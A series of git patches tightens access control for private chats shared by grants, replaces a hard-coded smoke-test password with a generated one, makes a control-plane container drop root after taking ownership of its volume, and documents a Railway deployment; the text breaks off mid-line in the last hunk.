e9f2ddd0d3..03e9d5169b 100644 --- a/internal/factory/acl/acl.go +++ b/internal/factory/acl/acl.go @@ -86,9 +86,14 @@ type Share struct { type Item struct { OwnerKind, OwnerID string Private bool - Visibility string - Shares []Share - Grants []Grant + // Closed is a private item that grants on the item itself have opened: it + // stays private, so shares, the organization's visibility and the operator + // (unless the policy lets it see private things) are still kept out, and + // only its owner and the people those grants name reach it. + Closed bool + Visibility string + Shares []Share + Grants []Grant } // VerbSet is a set of verbs from the closed enum. @@ -138,7 +143,8 @@ func (it Item) ownedBy(c Caller) bool { // held returns the names of every role the caller holds on the item. THE LAW // OF A PRIVATE ITEM: it is its owner's alone, so shares, grants and the // organization's visibility are not consulted, and the operator is let in only -// when the policy says it sees private items. +// when the policy says it sees private items. A private item that has been +// opened by grants on itself (Closed) adds those grants and nothing else. func (p Policy) held(c Caller, it Item, now time.Time) map[string]bool { roles := map[string]bool{} if it.ownedBy(c) { @@ -147,15 +153,17 @@ func (p Policy) held(c Caller, it Item, now time.Time) map[string]bool { if c.Operator && (!it.Private || p.Operator.SeesPrivate) { roles[p.Operator.Role] = true } - if it.Private { + if it.Private && !it.Closed { return roles } - if it.Visibility == Org && c.Member { - roles[p.OrgRole] = true - } - for _, s := range it.Shares { - if (s.Kind == "person" || s.Kind == "team") && (Subject{Kind: s.Kind, ID: s.ID}).matches(c) { - roles[s.Role] = true + if !it.Private { + if it.Visibility == Org && c.Member { + roles[p.OrgRole] = true + } + for _, s := range it.Shares { + if (s.Kind == "person" || s.Kind == "team") && (Subject{Kind: s.Kind, ID: s.ID}).matches(c) { + roles[s.Role] = true + } } } for _, g := range it.Grants { diff --git a/internal/factory/acl/acl_test.go b/internal/factory/acl/acl_test.go index 0f533f16ec..d0ed2f0cb3 100644 --- a/internal/factory/acl/acl_test.go +++ b/internal/factory/acl/acl_test.go @@ -228,3 +228,31 @@ func TestAudienceAndSharingPolicy(t *testing.T) { t.Fatal("sharing exceeded the owner-only rule") } } + +// A private item that grants on itself have opened (Closed) is reached by its +// owner and by the people those grants name, and by nobody else: not by the +// people its space is shared with, not by the organization, not by the operator. +// This is the same contract as org-follow item A4. +func TestAClosedPrivateItemIsReachedByItsGranteesAlone(t *testing.T) { + p, now := DefaultPolicy(), time.Now() + it := Item{ + OwnerKind: "person", OwnerID: "writer", Private: true, Closed: true, Visibility: Org, + Shares: []Share{{Kind: "person", ID: "sharer", Role: "full"}}, + Grants: []Grant{{Subject: Subject{Kind: "person", ID: "grantee"}, Role: "view"}}, + } + for who, want := range map[string]bool{"writer": true, "grantee": true, "sharer": false, "member": false} { + if got := p.Allowed(Caller{Handle: who, Member: true}, it, VerbView, now); got != want { + t.Errorf("%s may view = %v, want %v", who, got, want) + } + } + if p.Allowed(Caller{Operator: true}, it, VerbView, now) { + t.Error("the operator reaches a private item its grants opened") + } + if got := p.Audience(now, it); got.Operator || got.Org || !slices.Equal(got.Persons, []string{"grantee", "writer"}) { + t.Errorf("the audience of a closed private item = %+v", got) + } + p.Operator.SeesPrivate = true + if !p.Allowed(Caller{Operator: true}, it, VerbView, now) { + t.Error("the operator cannot see a private item the policy lets it see") + } +} diff --git a/internal/factory/acl/audience.go b/internal/factory/acl/audience.go index 6417027254..0c76f40b46 100644 --- a/internal/factory/acl/audience.go +++ b/internal/factory/acl/audience.go @@ -38,13 +38,15 @@ func (p Policy) Audience(now time.Time, items ...Item) Audience { a.include(Subject{Kind: it.OwnerKind, ID: it.OwnerID}) } a.Operator = a.Operator || !it.Private || p.Operator.SeesPrivate - if it.Private { + if it.Private && !it.Closed { continue } - a.Org = a.Org || it.Visibility == Org - for _, s := range it.Shares { - if s.Kind == "person" || s.Kind == "team" { - a.include(Subject{Kind: s.Kind, ID: s.ID}) + if !it.Private { + a.Org = a.Org || it.Visibility == Org + for _, s := range it.Shares { + if s.Kind == "person" || s.Kind == "team" { + a.include(Subject{Kind: s.Kind, ID: s.ID}) + } } } for _, g := range it.Grants { diff --git a/internal/factory/serve/access_api_test.go b/internal/factory/serve/access_api_test.go index cf9013e892..ce1ba328db 100644 --- a/internal/factory/serve/access_api_test.go +++ b/internal/factory/serve/access_api_test.go @@ -299,8 +299,11 @@ func TestAccessChatRegistry(t *testing.T) { o.do(t, "mia", "GET", oldPath, -1, nil, 200, nil) var list api.ResourceList o.do(t, "owner", "GET", "/v1/resources/chat", -1, nil, 200, &list) - if len(list.Resources) != 2 || slices.ContainsFunc(list.Resources, func(res api.OrgResource) bool { - return res.ID == newer.ID || res.ID == agentChat.ID + // CONTRACT CHANGE (org-follow A4): oldChat is private and shared with mia alone, so + // it stays private and the operator does not list it; before, its first grant + // un-privated it and the operator saw it. Only the org-visible chat remains. + if len(list.Resources) != 1 || list.Resources[0].ID != orgChat.ID || slices.ContainsFunc(list.Resources, func(res api.OrgResource) bool { + return res.ID == newer.ID || res.ID == agentChat.ID || res.ID == oldChat.ID }) { t.Fatalf("operator list includes private chats: %+v", list) } diff --git a/internal/factory/serve/access_grants.go b/internal/factory/serve/access_grants.go index aa88a39099..c9f66e1fed 100644 --- a/internal/factory/serve/access_grants.go +++ b/internal/factory/serve/access_grants.go @@ -16,7 +16,7 @@ import ( // listAccessGrants lists the live tuples on a resource for anyone who may view // it: the owner, the legacy shares (source "share"), the stored grants and the // grants the policy wrote for itself (source "policy"). A private resource -// lists only its owner. +// lists only its owner, and, once grants on itself have opened it, those grants. func (h *Handler) listAccessGrants(w http.ResponseWriter, r *http.Request) { res, v, ok := h.findAccessResource(w, r) if !ok { @@ -28,7 +28,7 @@ func (h *Handler) listAccessGrants(w http.ResponseWriter, r *http.Request) { {AccessGrant: acl.Grant{ID: "owner:" + data.OwnerKind + ":" + data.OwnerID, Subject: acl.Subject{Kind: data.OwnerKind, ID: data.OwnerID}, Resource: res.ref, Role: p.OwnerRole}, Source: "owner", Live: true}, }} - if !data.Private { + if !data.Private || data.Closed { for _, share := range data.Shares { out.Grants = append(out.Grants, api.GrantTuple{AccessGrant: acl.Grant{ID: "share:" + share.Kind + ":" + share.ID, Subject: acl.Subject{Kind: share.Kind, ID: share.ID}, Resource: res.ref, Role: share.Role}, Source: "share", Live: true}) diff --git a/internal/factory/serve/access_move_chat_test.go b/internal/factory/serve/access_move_chat_test.go index 736cc6b930..2575b6d3f3 100644 --- a/internal/factory/serve/access_move_chat_test.go +++ b/internal/factory/serve/access_move_chat_test.go @@ -144,8 +144,11 @@ func TestContractI4ChatMoveSendsOneEventToTheUnionAndRecordsIt(t *testing.T) { events := contractResourceEvents(t, o, chat.ID) contractMove(t, o, "santosh", chat.ID, to, 200, nil) got := contractResourceEvents(t, o, chat.ID) + // CONTRACT CHANGE (org-follow A4): a chat shared with abir stays private, so the + // destination's people (mia) and the operator do not hear of it; only the owner + // and the grantee do. Before, the first grant opened it to the destination too. if len(got) != len(events)+1 || !got[len(got)-1].itemAudience.Equal(acl.Audience{ - Persons: []string{"abir", "mia", "santosh"}, Operator: true, + Persons: []string{"abir", "santosh"}, }) { t.Fatalf("move events: before %+v, after %+v", events, got) } diff --git a/internal/factory/serve/access_sweep_test.go b/internal/factory/serve/access_sweep_test.go index 173f99c6ef..f531c4f198 100644 --- a/internal/factory/serve/access_sweep_test.go +++ b/internal/factory/serve/access_sweep_test.go @@ -42,8 +42,10 @@ func TestContractL1SweepCoalescesLapsesAndTellsTheirAudienceOnce(t *testing.T) { o.now = o.now.Add(3 * time.Minute) contractSweep(t, o) after := contractResourceEvents(t, o, chat.ID) + // CONTRACT CHANGE (org-follow A4): a chat shared with two people is still + // private, so the operator is not told of its lapses either. if len(after) != before+1 || !after[before].itemAudience.Equal(acl.Audience{ - Persons: []string{"abir", "mia", "santosh"}, Operator: true, + Persons: []string{"abir", "mia", "santosh"}, }) { t.Fatalf("lapse events before %d, after %+v", before, after) } diff --git a/internal/factory/serve/chats_private_test.go b/internal/factory/serve/chats_private_test.go index 6f3b49eea1..00b03c5bf7 100644 --- a/internal/factory/serve/chats_private_test.go +++ b/internal/factory/serve/chats_private_test.go @@ -89,7 +89,7 @@ func TestContractA4SharingAChatListsItToThatPersonAlone(t *testing.T) { } } o.do(t, "abir", "GET", "/v1/workstreams/"+ws+"/agent?chat="+chat.ID, -1, nil, 404, nil) - o.do(t, "santosh", "DELETE", path+"/grants/"+grant.ID, -1, nil, 200, nil) + o.do(t, "santosh", "DELETE", path+"/grants/"+grant.ID, -1, nil, 204, nil) if rows := othersOf(t, o, "abir", list); len(rows) != 0 { t.Fatalf("a removed grant still lists the chat: %+v", rows) } diff --git a/internal/factory/serve/item_access.go b/internal/factory/serve/item_access.go index c975c46925..dce72802e6 100644 --- a/internal/factory/serve/item_access.go +++ b/internal/factory/serve/item_access.go @@ -284,15 +284,27 @@ func (acc *Access) tuplesFor(it Item) acl.Item { } // policyItem requires a private registration to have its own grant before sharing it. -// The parent's relationships alone cannot open it. +// The parent's relationships alone cannot open it, and neither can its own first +// grant: a private registration that has been shared stays private and is its +// owner's and its grantees' alone (Closed), so the space's shares, the space's +// grants, the space's owner and the operator stay out of it. Otherwise sharing a +// chat with one person would open it, title and all, to everyone who can see the +// workstream. func (acc *Access) policyItem(it Item, tuples acl.Item) acl.Item { if it.registered && it.Visibility == acl.Private && tuples.Private { now, p := acc.time(), acc.rules() - tuples.Private = !slices.ContainsFunc(tuples.Grants, func(g acl.Grant) bool { + own := func(g acl.Grant) bool { return g.Resource.Kind == it.Kind && g.Resource.ID == it.ID } + shared := slices.ContainsFunc(tuples.Grants, func(g acl.Grant) bool { _, exists := p.Role(g.Role) - return g.Resource.Kind == it.Kind && g.Resource.ID == it.ID && exists && g.Live(now) && + return own(g) && exists && g.Live(now) && g.Subject.Kind != "agent" && (g.Subject.Kind != tuples.OwnerKind || g.Subject.ID != tuples.OwnerID) }) + if shared { + tuples.Closed = true + tuples.Shares = nil + tuples.Grants = slices.DeleteFunc(slices.Clone(tuples.Grants), func(g acl.Grant) bool { return !own(g) }) + return tuples + } } if !tuples.Private && it.parentOwner.Kind != "" { parent := accessSubject(it.parentOwner.Kind, it.parentOwner.ID) From 94993e45f20c1ef484b1f0a48398bbbd64436c36 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:42:16 -0500 Subject: [PATCH 013/176] deploy/org: the smoke test reads AgentField's runs from the right endpoint and never uses a fixed password Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/smoke.py | 36 +++++++++++++++++++++++++----------- 1 file changed, 25 insertions(+), 11 deletions(-) diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index dacd43a2c9..b1f6dd48d2 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -24,6 +24,7 @@ import json import os import re +import secrets import socket import subprocess import sys @@ -38,7 +39,18 @@ SOCKET = os.environ.get('RUNNER_SOCKET', '/data/engine.sock') FIXTURE_PATH = os.environ.get('SMOKE_FIXTURE_PATH', '/workspaces/smoke-fixture') # on the swe-af container (compose.yaml, .env.stub) STATE = Path(os.environ.get('SMOKE_STATE', '/data/smoke-state.json')) -PASSWORD = 'harbor maple quartz lantern 5521' + + +def password(): + """A fresh password for the people the smoke test makes, kept (mode 600) beside its state so the + check after a restart can sign in. Never a fixed string: the organization stays reachable afterwards.""" + try: + saved = json.loads(STATE.read_text()).get('password') + if saved: + return saved + except (OSError, ValueError): + pass + return '-'.join(secrets.token_hex(6) for _ in range(4)) failures = 0 @@ -145,9 +157,9 @@ def control(): # --------------------------------------------------------------------------------------------- -def join(link, username, name): +def join(link, username, name, secret): return http('POST', ORG + '/v1/factory-access', None, - {'link': link, 'verb': 'sign_up', 'username': username, 'password': PASSWORD, 'name': name}) + {'link': link, 'verb': 'sign_up', 'username': username, 'password': secret, 'name': name}) def org(operator_link): @@ -157,11 +169,12 @@ def org(operator_link): return # The link names the address the server prints (a laptop's loopback or the public name); this # script reaches the server on its network name instead, so only the link's secret part is used. - code, joined = join(operator_link, 'owner', 'Owner') + secret = password() + code, joined = join(operator_link, 'owner', 'Owner', secret) token = (joined or {}).get('access_token') if isinstance(joined, dict) else None check('the operator claims the organization with the printed link', code == 200 and bool(token) and joined.get('state') == 'joined', f'{code} state={joined.get("state") if isinstance(joined, dict) else joined}') - code2, again = join(operator_link, 'intruder', 'Intruder') + code2, again = join(operator_link, 'intruder', 'Intruder', secret) check('the operator link works once', code2 != 200 or not (again or {}).get('access_token'), f'{code2} state={again.get("state") if isinstance(again, dict) else again}') if not token: return @@ -170,10 +183,10 @@ def org(operator_link): check('the operator makes an invite link', code in (200, 201) and bool(invite), f'{code}') if not invite: return - code, joined2 = join(invite, 'priya', 'Priya') + code, joined2 = join(invite, 'priya', 'Priya', secret) member = (joined2 or {}).get('access_token') if isinstance(joined2, dict) else None check('a second person joins with the invite link', code == 200 and bool(member) and joined2.get('state') == 'joined', f'{code}') - code3, reuse = join(invite, 'priya2', 'Priya Two') + code3, reuse = join(invite, 'priya2', 'Priya Two', secret) check('an invite link works once', code3 != 200 or not (reuse or {}).get('access_token'), f'{code3} state={reuse.get("state") if isinstance(reuse, dict) else reuse}') code, people = http('GET', ORG + '/v1/people', token) handles = sorted(p.get('handle') for p in (people or {}).get('people', [])) if isinstance(people, dict) else [] @@ -182,7 +195,8 @@ def org(operator_link): check('the member can read the organization policy', code == 200, f'{code}') code, _ = http('PUT', ORG + '/v1/org/policy', member, {}) check('the member cannot change the organization policy', code in (401, 403), f'{code}') - STATE.write_text(json.dumps({'people': ['owner', 'priya']})) + STATE.write_text(json.dumps({'people': ['owner', 'priya'], 'password': secret})) + STATE.chmod(0o600) # --------------------------------------------------------------------------------------------- @@ -280,14 +294,14 @@ def after(): print('--- after a restart') ids = wait_until(lambda: (lambda c, n: n if {'swe-planner', 'pr-af', 'codeaf-factory'} <= set(n) else None)(*node_ids()), 180) check('every node is registered again after the restart', bool(ids), ids) - code, body = af('GET', '/api/v1/executions?limit=5') - count = len(body.get('executions', [])) if isinstance(body, dict) else 0 + code, body = af('GET', '/api/ui/v2/workflow-runs?limit=5') + count = len(body.get('runs', [])) if isinstance(body, dict) else 0 check('AgentField still holds the earlier runs', code == 200 and count > 0, f'{code} runs={count}') def after_org(): print('--- the organization after a restart') - code, signed = http('POST', ORG + '/v1/auth/password', None, {'username': 'owner', 'password': PASSWORD}) + code, signed = http('POST', ORG + '/v1/auth/password', None, {'username': 'owner', 'password': password()}) check('the organization still knows the operator (password sign-in)', code == 200 and bool((signed or {}).get('access_token')), f'{code}') token = (signed or {}).get('access_token') if isinstance(signed, dict) else None if token: From 184f4da093bb1ed11ab6657fef875e50ef7d03a3 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:44:05 -0500 Subject: [PATCH 014/176] deploy/org: the control plane starts as root only to give its volume away, then runs unprivileged The published image is distroless and runs as uid 65532, so a root-owned platform volume left it unable to write its database, and the only way round was to run it as root. It now gets the same hand-off as the other images, done with the one busybox binary it already carries for its health check. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/agentfield.Dockerfile | 10 +++++++--- deploy/org/scripts/agentfield-entrypoint.sh | 15 +++++++++++++++ 2 files changed, 22 insertions(+), 3 deletions(-) create mode 100755 deploy/org/scripts/agentfield-entrypoint.sh diff --git a/deploy/org/agentfield.Dockerfile b/deploy/org/agentfield.Dockerfile index 5777d7bf48..682c34a08e 100644 --- a/deploy/org/agentfield.Dockerfile +++ b/deploy/org/agentfield.Dockerfile @@ -8,9 +8,10 @@ # execution insert with "no such module: fts5". Do not swap in a binary built # another way. # -# The base image is distroless, so it has no shell and no curl for a health -# check. This file adds one statically linked (musl) busybox binary for that and changes nothing -# else; it still runs as the base image's non-root user. +# The base image is distroless, so it has no shell and no curl for a health check, and it starts as +# an unprivileged user that cannot write a root-owned platform volume. This file adds one statically +# linked (musl) busybox binary and an entrypoint that hands the data folder to that user and then drops +# to it: the control plane itself never runs as root. # # Build context is this folder: docker build -f agentfield.Dockerfile -t agentfield-org . # To move to a newer control plane change the tag and the digest together. @@ -21,5 +22,8 @@ FROM busybox:1.37.0-musl AS busybox FROM ${AGENTFIELD_IMAGE} COPY --from=busybox /bin/busybox /usr/local/bin/busybox +COPY --chmod=0755 scripts/agentfield-entrypoint.sh /usr/local/bin/agentfield-entrypoint.sh +USER 0:0 +ENTRYPOINT ["/usr/local/bin/agentfield-entrypoint.sh"] HEALTHCHECK --interval=15s --timeout=5s --start-period=20s --retries=5 \ CMD ["/usr/local/bin/busybox", "wget", "-q", "-O", "/dev/null", "http://127.0.0.1:8080/api/v1/health"] diff --git a/deploy/org/scripts/agentfield-entrypoint.sh b/deploy/org/scripts/agentfield-entrypoint.sh new file mode 100755 index 0000000000..b1cc55f236 --- /dev/null +++ b/deploy/org/scripts/agentfield-entrypoint.sh @@ -0,0 +1,15 @@ +#!/usr/local/bin/busybox sh +# Entrypoint of the control-plane image. The published image is distroless and runs as uid 65532, +# but a platform volume (Railway's) arrives owned by root, and the control plane has to write its +# database there. So this starts as root, hands the data folder to 65532 once, and runs the control +# plane as 65532 (see scripts/drop-root.sh for the same idea in the other images). Started with +# --user, it just runs the control plane. Only busybox is on this image, so every tool is called through it. +set -eu +bb=/usr/local/bin/busybox +dir="${AGENTFIELD_HOME:-/data}" +if [ "$($bb id -u)" = "0" ]; then + $bb mkdir -p "$dir" + [ "$($bb stat -c %u "$dir")" = "65532" ] || $bb chown -R 65532:65532 "$dir" + exec $bb setuidgid 65532:65532 /usr/local/bin/agentfield-server "$@" +fi +exec /usr/local/bin/agentfield-server "$@" From e3fbf34bf7a67df8ed6762a57c13f6e935609a96 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 00:45:19 -0500 Subject: [PATCH 015/176] deploy/org: the hand-off says in the log which user the service now runs as Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/agentfield.Dockerfile | 1 + deploy/org/scripts/agentfield-entrypoint.sh | 1 + deploy/org/scripts/drop-root.sh | 1 + 3 files changed, 3 insertions(+) diff --git a/deploy/org/agentfield.Dockerfile b/deploy/org/agentfield.Dockerfile index 682c34a08e..08857ba4e1 100644 --- a/deploy/org/agentfield.Dockerfile +++ b/deploy/org/agentfield.Dockerfile @@ -25,5 +25,6 @@ COPY --from=busybox /bin/busybox /usr/local/bin/busybox COPY --chmod=0755 scripts/agentfield-entrypoint.sh /usr/local/bin/agentfield-entrypoint.sh USER 0:0 ENTRYPOINT ["/usr/local/bin/agentfield-entrypoint.sh"] +CMD ["server", "--open=false"] HEALTHCHECK --interval=15s --timeout=5s --start-period=20s --retries=5 \ CMD ["/usr/local/bin/busybox", "wget", "-q", "-O", "/dev/null", "http://127.0.0.1:8080/api/v1/health"] diff --git a/deploy/org/scripts/agentfield-entrypoint.sh b/deploy/org/scripts/agentfield-entrypoint.sh index b1cc55f236..504773df16 100755 --- a/deploy/org/scripts/agentfield-entrypoint.sh +++ b/deploy/org/scripts/agentfield-entrypoint.sh @@ -10,6 +10,7 @@ dir="${AGENTFIELD_HOME:-/data}" if [ "$($bb id -u)" = "0" ]; then $bb mkdir -p "$dir" [ "$($bb stat -c %u "$dir")" = "65532" ] || $bb chown -R 65532:65532 "$dir" + echo "agentfield: $dir belongs to 65532; running the control plane as uid 65532" >&2 exec $bb setuidgid 65532:65532 /usr/local/bin/agentfield-server "$@" fi exec /usr/local/bin/agentfield-server "$@" diff --git a/deploy/org/scripts/drop-root.sh b/deploy/org/scripts/drop-root.sh index 1e7bf35586..e8b2703db7 100644 --- a/deploy/org/scripts/drop-root.sh +++ b/deploy/org/scripts/drop-root.sh @@ -14,5 +14,6 @@ if [ "$(id -u)" = "0" ]; then mkdir -p "$dir" [ "$(stat -c %u "$dir")" = "$ORG_UID" ] || chown -R "$ORG_UID:$ORG_UID" "$dir" 2>/dev/null || true done + echo "drop-root: ${ORG_DIRS:-no folders} belong to uid $ORG_UID; running $(basename "$0") as uid $ORG_UID" >&2 exec setpriv --reuid="$ORG_UID" --regid="$ORG_UID" --clear-groups env HOME="$ORG_HOME" "$0" "$@" fi From 248e3e9973d76e316a98c7486791026bf90b813c Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:02:39 -0500 Subject: [PATCH 016/176] deploy/org: print the operator link as the server gave it, and document the Railway services A link is only accepted with exactly the address the server names itself by, so rewriting the host in the printed link broke it. The README now says what that address is on a laptop, and lists the variables each Railway service takes. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 41 +++++++++++++++++++++++++++++-------- deploy/org/operator-link.sh | 11 +++++----- deploy/org/smoke.sh | 5 +++-- 3 files changed, 41 insertions(+), 16 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 03a723a458..c67cb17208 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -46,13 +46,18 @@ from pinned commits of their public repositories. ./operator-link.sh # prints the operator access link (a secret; it works once) ``` +On a laptop the link names `http://[::]:8787`. That is the address the server gives itself (its listen address) and a +link is only accepted with exactly that address, so it is not rewritten. A connection to `[::]` reaches the local +machine on Linux and macOS, so the desktop app on the same machine can use it; Windows cannot, and nobody on another +machine can. For them, serve the organization on a public HTTPS name (see "Other people") and the link names that. + 1. Open that `codeaf://factory/join?operator=true...` link in the codeaf desktop app (or paste it into **Join an organization...**). Choose a username and a password. Whoever uses the link first is the operator, so keep it to yourself until you have. 2. From **People**, the operator makes an **invite link** for the second person. They paste it into **Join an organization...** on their own computer and choose their own username and password. -3. A codeaf client connects to this organization with the server's URL, which is inside the link. The URL is - `http://localhost:8787` on the machine running Compose, or your public HTTPS name for everyone else. +3. A codeaf client connects to this organization with the server's URL, which is inside the link: your public + HTTPS name, or `http://[::]:8787` on the machine running Compose. If the operator link is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. @@ -121,10 +126,30 @@ mode 600); it is ignored by git and by the image build. ## Railway -The same services run on Railway as one project: five services plus volumes, private networking between them, -and a public domain on the `codeaf` service only. `deploy/org` is the build root for the four built services -(`codeaf`, `runner`, `swe-af`, `pr-af`, each pointing at its own Dockerfile); `agentfield` runs the published -image. See the end of this file for the variables each service takes. +The same Dockerfiles run on Railway as one project: five services, a volume on each, private networking +between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds its own +Dockerfile from this folder. (A one-click Railway template of this is the next step; until then it is built by hand, +below, and the POC that proved it ran the keyless smoke test on itself.) + +Create an empty project, then one service per row. For the four built services choose **GitHub repo**, set +**Root Directory** to `deploy/org`, and set the variable `RAILWAY_DOCKERFILE_PATH` (or the service's +**Dockerfile Path**) to the Dockerfile in the row. Add a volume at the mount path in the row. Reference variables +(`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of naming another service; keep them as written. + +| Service | Dockerfile | Volume | Variables | +| --- | --- | --- | --- | +| `agentfield` | `agentfield.Dockerfile` | `/data` | `AGENTFIELD_API_KEY=${{secret(64, "abcdef0123456789")}}`, `AGENTFIELD_HOME=/data`, `AGENTFIELD_CONFIG_FILE=/dev/null`, `AGENTFIELD_PORT=8080`, `PORT=8080`, `AGENTFIELD_STORAGE_MODE=local`, `AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH=/data/agentfield.db`, `AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt`, `AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true`, `AGENTFIELD_TELEMETRY_ENABLED=false`. Health check path `/api/v1/health`. | +| `codeaf` | `codeaf.Dockerfile` | `/data` | `CODEAF_ROLE=server`, `PORT=8787`, `CODEAF_ORG_NAME=...`, `CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}`, `CODEAF_TRUSTED_PROXIES=100.64.0.0/10`. Generate a public domain for this service only, target port 8787. | +| `runner` | `codeaf.Dockerfile` | `/data` | `CODEAF_ROLE=runner`, `AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `ORG_MODEL=...`, `OPENROUTER_API_KEY=...`. | +| `swe-af` | `swe-af.Dockerfile` | `/workspaces` | `NODE_ID=swe-planner`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `SWE_HITL_NATIVE=1`, `SWE_FENCE=off`, `SWE_PRO_ENGINE=0`, `SWE_DEFAULT_MODEL=openrouter/...`, `OPENROUTER_API_KEY=...`. | +| `pr-af` | `pr-af.Dockerfile` | `/workspaces` | `NODE_ID=pr-af`, `PORT=8007`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `AGENT_CALLBACK_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8007`, `PR_AF_MODEL=...`, `OPENROUTER_API_KEY=...`. | +| `modelstub` (keyless only) | `modelstub.Dockerfile` | none | `STUB_DELAY=2s`; then on `runner`, `swe-af` and `pr-af` set `CODEAF_BASE_URL=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1`, `OPENROUTER_API_KEY=stub-key`, and the model variables to `stub/scripted` (SWE-AF: `openrouter/stub/scripted`); on `swe-af` also `SMOKE_FIXTURE_REPO=/workspaces/smoke-fixture`. | + +Two things differ from Compose. Railway's edge is an HTTPS proxy in front of `codeaf`, so +`CODEAF_TRUSTED_PROXIES=100.64.0.0/10` (the edge's range) is required: without it every password sign-in is +refused as plain HTTP. And there is no `docker exec`, so set `RUNNER_SELFTEST=1` on `runner` to have it run the +smoke test's control and job sections on itself at start (PASS or FAIL lines in its log; `RUNNER_SELFTEST=after` +runs the after-a-restart section instead). The operator link is in the `codeaf` deploy log. ## Known limits @@ -132,8 +157,8 @@ image. See the end of this file for the variables each service takes. does not itself register the factory on AgentField. When codeaf ships a headless runner this goes away. - The organization keeps no canvases: the server needs a `canvas` program beside it, which this stack does not carry. It starts, says so in its log, and leaves the canvas routes off. -- The operator link prints the address the server listens on unless `CODEAF_PUBLIC_DOMAIN` is set; - `./operator-link.sh` rewrites it for a laptop. +- The server names itself by its listen address, so without `CODEAF_PUBLIC_DOMAIN` its links say `http://[::]:8787`, + which only the same Linux or macOS machine can use. A real deployment serves HTTPS on a name. - GitHub sign-in (`CODEAF_GITHUB_CLIENT_ID`) and invitation mail (`CODEAF_SMTP_URL`) are optional and untested here; username and password is the default way in. - One replica of each service; no high availability. diff --git a/deploy/org/operator-link.sh b/deploy/org/operator-link.sh index b4b4454630..d1bb6f1755 100755 --- a/deploy/org/operator-link.sh +++ b/deploy/org/operator-link.sh @@ -1,16 +1,15 @@ #!/bin/sh -# Prints the operator access link of this organization, with an address that works from this -# machine. The server prints the address it listens on ("[::]:8787") unless CODEAF_PUBLIC_DOMAIN -# names the host people reach it on; this swaps the first for localhost and your published port. -# The link is a secret, and it works once: whoever opens it first becomes the operator. +# Prints this organization's operator access link from the server's log. The link is a secret and it works +# once: whoever opens it first becomes the operator. The server names itself by the address it listens on, so +# the link carries `http://[::]:8787` unless CODEAF_PUBLIC_DOMAIN names the public host (README.md, "Claim the +# organization"); the link is only accepted with exactly the address the server gave it, so it is printed as is. set -eu cd "$(dirname "$0")" DC="${COMPOSE:-docker compose}" -port=$(sed -n 's/^CODEAF_PORT=//p' .env 2>/dev/null | tail -1) link=$($DC logs --no-log-prefix codeaf 2>/dev/null | grep -o 'codeaf://factory/join?operator=true[^ ]*' | tail -1 | tr -d '\r' || true) if [ -z "$link" ]; then echo "No operator link in the server's log. Either this organization was already claimed (its operator signs in" >&2 echo "instead), or the server is not up yet: docker compose ps, docker compose logs codeaf." >&2 exit 1 fi -printf '%s\n' "$link" | sed "s|%5B%3A%3A%5D%3A8787|localhost%3A${port:-8787}|" +printf '%s\n' "$link" diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index b4fc013fd2..b2e240a91b 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -11,7 +11,8 @@ # # ./smoke.sh # -# COMPOSE='docker compose -p other' picks another project; SMOKE_ENV='--env-file x' adds an env file. +# COMPOSE='docker compose -p other' picks another project; SMOKE_ENV='--env-file x' adds an env file; +# SMOKE_BUILD=--no-build uses the images that are already there (the default builds what changed). set -eu cd "$(dirname "$0")" [ -f .env ] || ./setup.sh @@ -25,7 +26,7 @@ run() { # service exec-flags section [args]: run one section, remember a failure } echo '== bringing the stack up (the first time this builds the images: several minutes)' -$DC up -d --build --wait --wait-timeout 600 +$DC up -d ${SMOKE_BUILD:---build} --wait --wait-timeout 600 echo '== operator link' link=$(COMPOSE="$DC" ./operator-link.sh) # a secret: it is passed on, never printed here From fb344e9ecd6ab7dd9301798d9a83d32cd8012cfb Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 01:09:54 -0500 Subject: [PATCH 017/176] Funnel law: the self-hosted organization's scripted model stub is a container stub, not a send path deploy/org/modelstub answers /chat/completions on purpose so the keyless smoke test spends nothing; like test/remote/stub it is built into its own image and the product never runs it. Co-Authored-By: Claude Sonnet 5.5 --- internal/provider/funnel_law_test.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/internal/provider/funnel_law_test.go b/internal/provider/funnel_law_test.go index 9df2ce9c98..bcc65dcd98 100644 --- a/internal/provider/funnel_law_test.go +++ b/internal/provider/funnel_law_test.go @@ -217,6 +217,10 @@ var funnelExemptTrees = map[string]string{ "bench": "a measuring rig, not a send path", "test": "container stubs for the remote-access suite", "harnesses": "harness fixtures, 